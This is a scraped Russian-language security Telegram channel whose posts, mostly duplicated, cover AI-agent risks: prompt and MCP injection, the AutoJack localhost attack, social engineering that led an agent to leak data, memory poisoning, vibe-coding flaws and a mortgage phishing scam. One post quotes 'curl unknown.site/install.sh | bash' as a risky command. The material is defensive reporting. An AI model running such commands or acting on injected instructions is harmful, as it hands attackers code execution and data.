👤Пользователь, как главная уязвимость AI-агентов
Человек даёт агенту слишком много свободы:
❌ запускает OpenClaw с root/admin правами
❌ разрешает shell без ограничений
❌ подключает приватные директории
❌ даёт доступ к API-ключам и браузеру
❌ копирует команды из Discord/GitHub без понимания последствий
❌ доверяет агенту «починить систему»
В мире AI-агентов это уже превращается в полноценную attack surface. Один плохой prompt, один malicious skill, одна «полезная автоматизация» и агент сам начинает делать за атакующего грязную работу.
🙆♂ Риски
Авторы выделяют 7 ключевых классов рисков для OpenClaw: от утечки данных и опасных команд до неправильной автономии и злоупотребления доступами. Документ написан максимально приземлённо, как практическая инструкция «что реально может пойти не так».
Советуем ознакомиться с материалом самостоятельно. Обойдёмся без спойлеров.
📄 Источник: “Understanding and mitigating the risks of OpenClaw for non-technical users
”
Stay secure and read SecureTechTalks 📚
#CyberSecurity #AI #LLMSecurity #OpenClaw #AIAgents #GenAI #CyberDefense #AISecurity #AppSec #SecureTechTalks
👍2
🧠🛡️ Guardrails для AI-агентов начали переписывать execution plan
Большинство защит AI-агентов блокирует действие, если замечает риск и просто. В результате агент либо ломается, либо уходит в рекурсию, пока случайно не найдёт обходной путь.
На arXiv вышла работа, где исследователи предлагают не останавливать агента, а безопасно менять его план действий.
⚙️ В чем суть?
Guardrail анализирует действие агента перед выполнением (ту же shell-команду или API-вызов) после чего возвращает вердикт: «можно / запрещено / уровень риска». Однако реальные инциденты возникают не потому, что агент «злой», а потому что он работает на загрязнённом контексте.
Вредоносный RAG-документ, prompt injection, опасный tool chain или просто недоверенные инструкции могут изменить reasoning модели и подтолкнуть её к небезопасному действию.
Исследователи предлагают добавить feedback-driven remediation layer. Если guardrail замечает риск, агенту показывают безопасный способ добиться той же цели.
🧪 Как это выглядит на практике
Агент собирается выполнить
Классическая защита вернёт «BLOCK», а новый подход пытается безопасно переписать execution path: скачать файл → проверить хэш → показать diff → запросить подтверждение → запускать только в изоляции.
Guardrail начинает работать как runtime AppSec reviewer для reasoning AI-агента.
🧠 Зачем все усложнять?
Агенту иногда нужно делать потенциально рискованные действия, чтобы вообще быть полезным. Если всё запрещать, то можно забыть об автономности, а если разрешать всё, то появляется огромная брешь в защите.
🔗 Исследование: https://arxiv.org/abs/2606.05805
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #AgenticAI #PromptInjection #AIsecurity #AppSec #RuntimeSecurity #CyberSecurity #SecureTechTalks
Большинство защит AI-агентов блокирует действие, если замечает риск и просто. В результате агент либо ломается, либо уходит в рекурсию, пока случайно не найдёт обходной путь.
На arXiv вышла работа, где исследователи предлагают не останавливать агента, а безопасно менять его план действий.
⚙️ В чем суть?
Guardrail анализирует действие агента перед выполнением (ту же shell-команду или API-вызов) после чего возвращает вердикт: «можно / запрещено / уровень риска». Однако реальные инциденты возникают не потому, что агент «злой», а потому что он работает на загрязнённом контексте.
Вредоносный RAG-документ, prompt injection, опасный tool chain или просто недоверенные инструкции могут изменить reasoning модели и подтолкнуть её к небезопасному действию.
Исследователи предлагают добавить feedback-driven remediation layer. Если guardrail замечает риск, агенту показывают безопасный способ добиться той же цели.
🧪 Как это выглядит на практике
Агент собирается выполнить
curl unknown.site/install.sh | bashКлассическая защита вернёт «BLOCK», а новый подход пытается безопасно переписать execution path: скачать файл → проверить хэш → показать diff → запросить подтверждение → запускать только в изоляции.
Guardrail начинает работать как runtime AppSec reviewer для reasoning AI-агента.
🧠 Зачем все усложнять?
Агенту иногда нужно делать потенциально рискованные действия, чтобы вообще быть полезным. Если всё запрещать, то можно забыть об автономности, а если разрешать всё, то появляется огромная брешь в защите.
🔗 Исследование: https://arxiv.org/abs/2606.05805
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #AgenticAI #PromptInjection #AIsecurity #AppSec #RuntimeSecurity #CyberSecurity #SecureTechTalks
👍1
🏠🎣 Мошенники уже начали монетизировать “семейную ипотеку”
Стоило появиться новостям об изменениях в программе семейной ипотеки, как в сети начали всплывать подозрительно «заботливые» сайты с обещаниями срочно зафиксировать ставку и
проверить право на льготу.
В реальности человека заводят на фейковый сайт, предлагают «проверку льгот», после чего просят авторизоваться через Госуслуги или подтвердить личность кодом из SMS. Дальше история стандартная: потеря доступа к аккаунту, утечка данным и т.д..
Интересна здесь не сама схема, а скорость адаптации мошенников. Только прозвучала громкая новость, а фишинговая инфраструктура уже готова.
Раньше эксплуатировали выплаты, мобилизацию и налоги. Теперь ипотеку. Будьте осторожны!
🔗 Ссылка на отчет APWG по росту фишинговых атак
Stay secure and read SecureTechTalks 📚
#кибербезопасность #Фишинг #Госуслуги #Мошенники #СоциальнаяИнженерия #CyberSecurity #Fraud #SecureTechTalks
Стоило появиться новостям об изменениях в программе семейной ипотеки, как в сети начали всплывать подозрительно «заботливые» сайты с обещаниями срочно зафиксировать ставку и
проверить право на льготу.
В реальности человека заводят на фейковый сайт, предлагают «проверку льгот», после чего просят авторизоваться через Госуслуги или подтвердить личность кодом из SMS. Дальше история стандартная: потеря доступа к аккаунту, утечка данным и т.д..
Интересна здесь не сама схема, а скорость адаптации мошенников. Только прозвучала громкая новость, а фишинговая инфраструктура уже готова.
Раньше эксплуатировали выплаты, мобилизацию и налоги. Теперь ипотеку. Будьте осторожны!
🔗 Ссылка на отчет APWG по росту фишинговых атак
Stay secure and read SecureTechTalks 📚
#кибербезопасность #Фишинг #Госуслуги #Мошенники #СоциальнаяИнженерия #CyberSecurity #Fraud #SecureTechTalks
🎣 OpenClaw получил письмо и слил секреты компании
Пока сотрудники проходят тренинги по фишингу, агенты проверяют в бою.
Исследователи из Varonis протестировали OpenClaw с доступом к почте, браузеру и корпоративным сервисам. Оказалось, что обычная социальная инженерия работает на нем не хуже, чем обычном человеке.
⚙️ Детали атаки
Агенту отправляли вполне рабочие запросы:
🔹 «Нужен доступ к staging-среде»
🔹 «Пришли экспорт клиентов»
🔹 «Помоги настроить новый сервис»
В ряде сценариев агент передавал доступы и чувствительные данные, несмотря на наличие инструкций по проверке запросов.
🤖 Однако стоит отметить, что OpenClaw неплохо справлялся с классическими угрозами:
✅ блокировал подозрительные ссылки
✅ отклонял опасные OAuth-запросы
Но проваливался там, где требуется понимание контекста:
❌ проверка личности отправителя
❌ оценка правомерности запроса
❌ противодействие давлению и срочности
Агент оказался уязвим для тех же приёмов социальной инженерии, которые десятилетиями работают против людей.
Вывод: без проверки личности, разграничения полномочий и подтверждения критических действий AI-агент рискует стать самым привилегированным сотрудником компании, которого можно обмануть одним письмом 😉
🔗 Источник: thehackernews
Stay secure and read SecureTechTalks 📚
#CyberSecurity #AI #OpenClaw #AIAgents #Phishing #PromptInjection #LLMSecurity #AgentSecurity #DataProtection #SecureTechTalks
Пока сотрудники проходят тренинги по фишингу, агенты проверяют в бою.
Исследователи из Varonis протестировали OpenClaw с доступом к почте, браузеру и корпоративным сервисам. Оказалось, что обычная социальная инженерия работает на нем не хуже, чем обычном человеке.
⚙️ Детали атаки
Агенту отправляли вполне рабочие запросы:
🔹 «Нужен доступ к staging-среде»
🔹 «Пришли экспорт клиентов»
🔹 «Помоги настроить новый сервис»
В ряде сценариев агент передавал доступы и чувствительные данные, несмотря на наличие инструкций по проверке запросов.
🤖 Однако стоит отметить, что OpenClaw неплохо справлялся с классическими угрозами:
✅ блокировал подозрительные ссылки
✅ отклонял опасные OAuth-запросы
Но проваливался там, где требуется понимание контекста:
❌ проверка личности отправителя
❌ оценка правомерности запроса
❌ противодействие давлению и срочности
Агент оказался уязвим для тех же приёмов социальной инженерии, которые десятилетиями работают против людей.
Вывод: без проверки личности, разграничения полномочий и подтверждения критических действий AI-агент рискует стать самым привилегированным сотрудником компании, которого можно обмануть одним письмом 😉
🔗 Источник: thehackernews
Stay secure and read SecureTechTalks 📚
#CyberSecurity #AI #OpenClaw #AIAgents #Phishing #PromptInjection #LLMSecurity #AgentSecurity #DataProtection #SecureTechTalks
👍1
🔎 Google решили автоматизировать discovery для AI-агентов
Пока индустрия массово подключает агентам всё подряд через MCP, Google двигает другую идею: агент должен уметь сам понимать, какие ресурсы ему доступны и как с ними работать.
Речь про Agentic Resource Discovery, новый подход, где агент получает не просто API, а карту окружения с инструментами, данными, политиками доступа и зависимостями.
⚙️ Что меняется
Сейчас мы работаем в полходе «вот тебе tool, вот schema, иди работай» Google же предлагает более зрелую модель: «discover → understand → reason → act»
То есть агент сначала сам изучает:
🔹 какие сервисы доступны
🔹 какие данные можно читать
🔹 какие действия разрешены
🔹 какие ограничения есть у каждой системы
🔹 где проходят границы доверия
И только потом строит execution plan.
🧠 Discovery наше все
Без discovery агент часто работает вслепую. Он не понимает окружение, не знает sensitivity данных и может легко нарушить политики безопасности.
Например, агент видит API удаления данных, но не понимает, что это ПРОМ. Или другой кейс, агент получает доступ к внутреннему S3-bucket, читает чувствительные документы и начинает использовать их в reasoning.
Agentic Resource Discovery пытается встроить security context прямо в planning phase. То есть безопасность начинает сдвигаться из runtime ближе к reasoning layer.
Это похоже на эволюцию MCP, т.е. не просто «вот инструменты», а «вот вся инфраструктура, её ограничения и правила работы с ней.»
Такой подход выглядит как очень логичный следующий шаг для enterprise-агентов.
🔗 GitHub: https://github.com/ards-project/ard-spec
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #AgenticAI #Google #MCP #RuntimeSecurity #AppSec #CyberSecurity #SecureTechTalks
Пока индустрия массово подключает агентам всё подряд через MCP, Google двигает другую идею: агент должен уметь сам понимать, какие ресурсы ему доступны и как с ними работать.
Речь про Agentic Resource Discovery, новый подход, где агент получает не просто API, а карту окружения с инструментами, данными, политиками доступа и зависимостями.
⚙️ Что меняется
Сейчас мы работаем в полходе «вот тебе tool, вот schema, иди работай» Google же предлагает более зрелую модель: «discover → understand → reason → act»
То есть агент сначала сам изучает:
🔹 какие сервисы доступны
🔹 какие данные можно читать
🔹 какие действия разрешены
🔹 какие ограничения есть у каждой системы
🔹 где проходят границы доверия
И только потом строит execution plan.
🧠 Discovery наше все
Без discovery агент часто работает вслепую. Он не понимает окружение, не знает sensitivity данных и может легко нарушить политики безопасности.
Например, агент видит API удаления данных, но не понимает, что это ПРОМ. Или другой кейс, агент получает доступ к внутреннему S3-bucket, читает чувствительные документы и начинает использовать их в reasoning.
Agentic Resource Discovery пытается встроить security context прямо в planning phase. То есть безопасность начинает сдвигаться из runtime ближе к reasoning layer.
Это похоже на эволюцию MCP, т.е. не просто «вот инструменты», а «вот вся инфраструктура, её ограничения и правила работы с ней.»
Такой подход выглядит как очень логичный следующий шаг для enterprise-агентов.
🔗 GitHub: https://github.com/ards-project/ard-spec
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #AgenticAI #Google #MCP #RuntimeSecurity #AppSec #CyberSecurity #SecureTechTalks
🧨 MCP-инъекции AI агентов
Cloud Security Alliance показывают, как компрометация MCP-слоя позволяет полностью перехватить operational loop AI-агента.
MCP сегодня фактически становится управляющей панелью для агентов. Он:
🔹 описывает доступные инструменты
🔹 передаёт схемы вызовов
🔹 отдаёт контекст выполнения
🔹 управляет файловыми и API-ресурсами
Однако большинство агентов воспринимают этот слой как доверенный.
Если атакующий подсовывает фейковый MCP-server или подменённый tool descriptor, агент начинает строить reasoning уже на скомпрометированной модели. То есть инъекция происходит не в промпте, а в слое оркестрации.
🧠 MCP injection
Типовой сценарий, когда агент подключается к внешнему MCP endpoint, получает описание tool capability, LLM интерпретирует его как легитимный execution primitive. Дальше возможны:
🔹 подмена параметров shell execution
🔹 скрытые file read primitives
🔹 поддельные API endpoints для data exfiltration
🔹 privilege escalation через over-permissioned tools
🔹 persistence через long-lived MCP sessions
Ключевая проблема в том, что агент не верифицирует семантику инструмента и полностью доверяет источнику.
📉 Хуже чем prompt injection
Обычный prompt injection атакует reasoning graph. MCP injection атакует execution graph. Злоумышленник влияет на действовия агента, что гораздо опаснее, особенно для coding-агентов с shell, git, docker, cloud API и production access.
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #MCP #AgenticAI #SupplyChainSecurity #PromptInjection #AppSec #CyberSecurity #SecureTechTalks
Cloud Security Alliance показывают, как компрометация MCP-слоя позволяет полностью перехватить operational loop AI-агента.
MCP сегодня фактически становится управляющей панелью для агентов. Он:
🔹 описывает доступные инструменты
🔹 передаёт схемы вызовов
🔹 отдаёт контекст выполнения
🔹 управляет файловыми и API-ресурсами
Однако большинство агентов воспринимают этот слой как доверенный.
Если атакующий подсовывает фейковый MCP-server или подменённый tool descriptor, агент начинает строить reasoning уже на скомпрометированной модели. То есть инъекция происходит не в промпте, а в слое оркестрации.
🧠 MCP injection
Типовой сценарий, когда агент подключается к внешнему MCP endpoint, получает описание tool capability, LLM интерпретирует его как легитимный execution primitive. Дальше возможны:
🔹 подмена параметров shell execution
🔹 скрытые file read primitives
🔹 поддельные API endpoints для data exfiltration
🔹 privilege escalation через over-permissioned tools
🔹 persistence через long-lived MCP sessions
Ключевая проблема в том, что агент не верифицирует семантику инструмента и полностью доверяет источнику.
📉 Хуже чем prompt injection
Обычный prompt injection атакует reasoning graph. MCP injection атакует execution graph. Злоумышленник влияет на действовия агента, что гораздо опаснее, особенно для coding-агентов с shell, git, docker, cloud API и production access.
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #MCP #AgenticAI #SupplyChainSecurity #PromptInjection #AppSec #CyberSecurity #SecureTechTalks
👍1
🧨 AutoJack: вредоносный сайт теперь может превратить AI-агента в RCE-прокси
Cloud Security Alliance разобрали новую атаку AutoJack. Суть простая, если AI-агент умеет одновременно ходить в интернет и общаться с локальными сервисами, граница доверия "localhost" начинает ломаться.
⚙️ Как работает атака?
Типовой сценарий выглядит заурядно, агент открывает внешнюю веб-страницу, вредоносный JavaScript внутри страницы инициирует запросы к локальному MCP endpoint. Endpoint принимает команды без нормальной аутентификации, по итогу агент запускает произвольный процесс на хосте.
Внешний веб-контент получает execution path до локальной машины. Получается гибрид prompt injection и localhost trust bypass.
🧠 Почему так происходит?
Проблема здесь в связке агента браузера, MCP и shell. Большинство агентных систем считают localhost доверенным. Получается, что если агент сам рендерит attacker-controlled content, то этот контент уже оказывается внутри доверенного источника.
🔗 Исследование: https://labs.cloudsecurityalliance.org/research/csa-research-note-autojack-ai-agent-rce-20260621-csa-styled/
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #AgenticAI #MCP #RCE #PromptInjection #AppSec #CyberSecurity #SecureTechTalks
Cloud Security Alliance разобрали новую атаку AutoJack. Суть простая, если AI-агент умеет одновременно ходить в интернет и общаться с локальными сервисами, граница доверия "localhost" начинает ломаться.
⚙️ Как работает атака?
Типовой сценарий выглядит заурядно, агент открывает внешнюю веб-страницу, вредоносный JavaScript внутри страницы инициирует запросы к локальному MCP endpoint. Endpoint принимает команды без нормальной аутентификации, по итогу агент запускает произвольный процесс на хосте.
Внешний веб-контент получает execution path до локальной машины. Получается гибрид prompt injection и localhost trust bypass.
🧠 Почему так происходит?
Проблема здесь в связке агента браузера, MCP и shell. Большинство агентных систем считают localhost доверенным. Получается, что если агент сам рендерит attacker-controlled content, то этот контент уже оказывается внутри доверенного источника.
🔗 Исследование: https://labs.cloudsecurityalliance.org/research/csa-research-note-autojack-ai-agent-rce-20260621-csa-styled/
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #AgenticAI #MCP #RCE #PromptInjection #AppSec #CyberSecurity #SecureTechTalks
👍1
🧨 Vibe coding создает новый класс уязвимых приложений
Недавно вышло исследование, где авторы решили проверить, насколько безопасен софт, который разрабатывается полностью через LLM с помощью вайбкодинга.
Сегодня типичный сценарий, когда человек просто итеративно просит модель: «сделай CRM», «добавь авторизацию», «прикрути платежи», «разверни API», а дальше постепенно дорабатывает функциональность через новые промпты. Очевидно, что в таком подходе нет анализа угроз и security review.
После аудита выяснилось, что большинство проблем лежат в базовой логике безопасности. Регулярно встречались отсутствие проверки прав доступа, прямой доступ к объектам (IDOR), слабая аутентификация, утечки секретов в коде, инъекции на уровне API, небезопасная работа с файлами и уязвимая бизнес-логика.
LLM действительно хорошо генерирует основной рабочий сценарий приложения, но всё, что связано с защитой или обработкой ошибок зачастую остаётся недоработанным. Модель делает приложение функциональным, но не делает его безопасным.
На самом деле эта проблема систмная. Vibe coding резко снижает порог входа в разработку. Если раньше для запуска собственного SaaS нужны были хотя бы базовые инженерные навыки, то теперь достаточно пары часов и хорошего промпта. Скорость создания уязвимого продукта практически сравнялась со скоростью генерации кода.
К сожалению, это приводит к массовому производству уязвимых приложений людьми, которые даже не знают, где именно эти уязвимости находятся.
🔗 Исследование: https://arxiv.org/abs/2606.23130
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #VibeCoding #AppSec #SecureCoding #DevSecOps #CodeSecurity #CyberSecurity #SecureTechTalks
Недавно вышло исследование, где авторы решили проверить, насколько безопасен софт, который разрабатывается полностью через LLM с помощью вайбкодинга.
Сегодня типичный сценарий, когда человек просто итеративно просит модель: «сделай CRM», «добавь авторизацию», «прикрути платежи», «разверни API», а дальше постепенно дорабатывает функциональность через новые промпты. Очевидно, что в таком подходе нет анализа угроз и security review.
После аудита выяснилось, что большинство проблем лежат в базовой логике безопасности. Регулярно встречались отсутствие проверки прав доступа, прямой доступ к объектам (IDOR), слабая аутентификация, утечки секретов в коде, инъекции на уровне API, небезопасная работа с файлами и уязвимая бизнес-логика.
LLM действительно хорошо генерирует основной рабочий сценарий приложения, но всё, что связано с защитой или обработкой ошибок зачастую остаётся недоработанным. Модель делает приложение функциональным, но не делает его безопасным.
На самом деле эта проблема систмная. Vibe coding резко снижает порог входа в разработку. Если раньше для запуска собственного SaaS нужны были хотя бы базовые инженерные навыки, то теперь достаточно пары часов и хорошего промпта. Скорость создания уязвимого продукта практически сравнялась со скоростью генерации кода.
К сожалению, это приводит к массовому производству уязвимых приложений людьми, которые даже не знают, где именно эти уязвимости находятся.
🔗 Исследование: https://arxiv.org/abs/2606.23130
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #VibeCoding #AppSec #SecureCoding #DevSecOps #CodeSecurity #CyberSecurity #SecureTechTalks
👍2
🧨 Guardrails больше не спасают. Нужно проверять поведение агента
Появился интересный open-source проект Praxen.
В основе Praxen лежит Agent Behavior Verification (ABV), слой формальной верификации поведения агента. Вместо анализа отдельных tool calls система строит модель допустимого execution graph: какие инструменты агент должен использовать, в каком порядке, с какими зависимостями, в каком контексте и с какими ограничениями.
Решение описывает expected operational semantics агента, затем runtime execution сопоставляется с этим графом.
Если агент:
🔹 вызывает tool вне ожидаемого контекста
🔹 нарушает допустимый порядок действий
🔹 обращается к нехарактерным ресурсам
🔹 строит нетипичный execution path
🔹 пересекает trust boundary без основания
Система фиксирует отклонение как потенциальный инцидент безопасности. Очень полезная фича, т.к. современные AI-агенты ломаются именно на уровне поведения. Prompt injection редко выглядит как «запусти rm -rf». Чаще это постепенный сдвиг reasoning graph, который приводит к легитимным, но опасным действиям. Praxen пытается ловить этот drift раньше, чем агент доберётся до цели.
Если guardrails это WAF для tool calls, то Praxen это EDR для reasoning и execution layer. Похоже именно туда сейчас начинает двигаться вся agent security.
🔗 GitHub: https://github.com/open-agent-ai-security/praxen
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #AgenticAI #BehaviorVerification #RuntimeSecurity #PromptInjection #AppSec #CyberSecurity #SecureTechTalks
Появился интересный open-source проект Praxen.
В основе Praxen лежит Agent Behavior Verification (ABV), слой формальной верификации поведения агента. Вместо анализа отдельных tool calls система строит модель допустимого execution graph: какие инструменты агент должен использовать, в каком порядке, с какими зависимостями, в каком контексте и с какими ограничениями.
Решение описывает expected operational semantics агента, затем runtime execution сопоставляется с этим графом.
Если агент:
🔹 вызывает tool вне ожидаемого контекста
🔹 нарушает допустимый порядок действий
🔹 обращается к нехарактерным ресурсам
🔹 строит нетипичный execution path
🔹 пересекает trust boundary без основания
Система фиксирует отклонение как потенциальный инцидент безопасности. Очень полезная фича, т.к. современные AI-агенты ломаются именно на уровне поведения. Prompt injection редко выглядит как «запусти rm -rf». Чаще это постепенный сдвиг reasoning graph, который приводит к легитимным, но опасным действиям. Praxen пытается ловить этот drift раньше, чем агент доберётся до цели.
Если guardrails это WAF для tool calls, то Praxen это EDR для reasoning и execution layer. Похоже именно туда сейчас начинает двигаться вся agent security.
🔗 GitHub: https://github.com/open-agent-ai-security/praxen
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #AgenticAI #BehaviorVerification #RuntimeSecurity #PromptInjection #AppSec #CyberSecurity #SecureTechTalks
👍2
🧠 Open source проекты начали отказываться от LLM при разработке
Software Freedom Conservancy (SFC) выпустили довольно интересный документ с рекомендациями по использованию LLM в open-source проектах.
Спойлер:не стоит использовать генеративный AI там, где важны происхождение кода, лицензирование и безопасность.
⚙️ В чём проблема?
SFC отдельно разбирают, что LLM ломают базовые гарантии open-source supply chain. Когда разработчик вставляет сгенерированный код, он часто не знает:
🔹 откуда этот код появился
🔹 на какой лицензии он основан
🔹 не попал ли туда копипаст из GPL/AGPL
🔹 нет ли внутри старых CVE- паттернов
🔹 не повторяет ли модель insecure implementation
По сути provenance кода исчезает. А вместе с ним ломается возможность проведения аудита, а при инцидентах становится сложнее понять источник уязвимости.
🧨 Паттерны
LLM отлично генерируют рабочий код, но плохо генерируют механизмы защиты. Типичный паттерн, когда функция работает, но модель аудита упрощёна, проверка входных параметров поверхностная, управление секретами отсутствует.
Это напрямую совпадает с последними исследованиями по vibe coding.
🛡️ Что рекомендуют?
SFC советуют использовать LLM максимально ограниченно:
➖ не принимать код без полного human review
➖ не использовать генерацию для security-sensitive logic
➖ документировать AI-origin code
➖ отдельно прогонять его через аудит
➖ учитывать license contamination risk
Если подытожить, то AI-code теперь предлагают рассматривать как недоверенные сторонние зависимости.
🔗 Статья: https://sfconservancy.org/llm-gen-ai/llm-backed-generative-ai-recommendations.html
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #OpenSource #SupplyChainSecurity #AppSec #SecureCoding #DevSecOps #CyberSecurity #SecureTechTalks
Software Freedom Conservancy (SFC) выпустили довольно интересный документ с рекомендациями по использованию LLM в open-source проектах.
Спойлер:
⚙️ В чём проблема?
SFC отдельно разбирают, что LLM ломают базовые гарантии open-source supply chain. Когда разработчик вставляет сгенерированный код, он часто не знает:
🔹 откуда этот код появился
🔹 на какой лицензии он основан
🔹 не попал ли туда копипаст из GPL/AGPL
🔹 нет ли внутри старых CVE- паттернов
🔹 не повторяет ли модель insecure implementation
По сути provenance кода исчезает. А вместе с ним ломается возможность проведения аудита, а при инцидентах становится сложнее понять источник уязвимости.
🧨 Паттерны
LLM отлично генерируют рабочий код, но плохо генерируют механизмы защиты. Типичный паттерн, когда функция работает, но модель аудита упрощёна, проверка входных параметров поверхностная, управление секретами отсутствует.
Это напрямую совпадает с последними исследованиями по vibe coding.
🛡️ Что рекомендуют?
SFC советуют использовать LLM максимально ограниченно:
Если подытожить, то AI-code теперь предлагают рассматривать как недоверенные сторонние зависимости.
🔗 Статья: https://sfconservancy.org/llm-gen-ai/llm-backed-generative-ai-recommendations.html
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #OpenSource #SupplyChainSecurity #AppSec #SecureCoding #DevSecOps #CyberSecurity #SecureTechTalks
Please open Telegram to view this post
VIEW IN TELEGRAM
👍2
🧠 AI-агенты знают слишком много...
На arXiv вышел обзор: Agents That Know Too Much: A Data-Centric Survey of Privacy in LLM Agents.
Авторы вводят новую модель Data Surfaces, где вместо привычного подхода «разберём типы атак» исследователи предлагают смотреть на поверхности данных:
🔹 базы данных и хранилища
🔹 файлы и таблицы
🔹 RAG-индексы
🔹 внешние API и инструменты
🔹 долговременная память агента
🔹 каналы общения между агентами
Такой подход значительно изменяет модель угроз. Например, чувствительные данные могут утечь не через финальный ответ, а через SQL-запрос, который агент сам сгенерировал или через промежуточные результаты reasoning. А это не так-то просто контролировать.
🧨 Память, как самый опасный слой
Отдельно авторы выделяют memory-layer, потому что память агента:
1. переживает сессии
2. хранит прошлый контекст
3. может быть отравлена
4. может случайно утечь другому пользователю
Таким образом это делает prompt injection постоянным. Один вредоносный документ может записать payload в memory store, а агент достанет его через неделю уже как доверенный контекст.
Это уже не prompt injection.
🛡️ Чего еще интересного в статье?
Авторы считают, что обычного контроля доступа больше недостаточно. Нужен information-flow control. Система, которая отслеживает не просто доступ, а движение данных между всеми слоями агента. Кто что прочитал, что куда передал, что сохранил, что переиспользовал.
Privacy для AI-агентов начинает превращаться в data lineage security.
🔗 Исследование: https://arxiv.org/abs/2606.26627
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #AgenticAI #Privacy #RAG #MemorySecurity #DataSecurity #AIsecurity #SecureTechTalks
На arXiv вышел обзор: Agents That Know Too Much: A Data-Centric Survey of Privacy in LLM Agents.
Авторы вводят новую модель Data Surfaces, где вместо привычного подхода «разберём типы атак» исследователи предлагают смотреть на поверхности данных:
🔹 базы данных и хранилища
🔹 файлы и таблицы
🔹 RAG-индексы
🔹 внешние API и инструменты
🔹 долговременная память агента
🔹 каналы общения между агентами
Такой подход значительно изменяет модель угроз. Например, чувствительные данные могут утечь не через финальный ответ, а через SQL-запрос, который агент сам сгенерировал или через промежуточные результаты reasoning. А это не так-то просто контролировать.
🧨 Память, как самый опасный слой
Отдельно авторы выделяют memory-layer, потому что память агента:
1. переживает сессии
2. хранит прошлый контекст
3. может быть отравлена
4. может случайно утечь другому пользователю
Таким образом это делает prompt injection постоянным. Один вредоносный документ может записать payload в memory store, а агент достанет его через неделю уже как доверенный контекст.
Это уже не prompt injection.
🛡️ Чего еще интересного в статье?
Авторы считают, что обычного контроля доступа больше недостаточно. Нужен information-flow control. Система, которая отслеживает не просто доступ, а движение данных между всеми слоями агента. Кто что прочитал, что куда передал, что сохранил, что переиспользовал.
Privacy для AI-агентов начинает превращаться в data lineage security.
🔗 Исследование: https://arxiv.org/abs/2606.26627
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #AgenticAI #Privacy #RAG #MemorySecurity #DataSecurity #AIsecurity #SecureTechTalks
👍2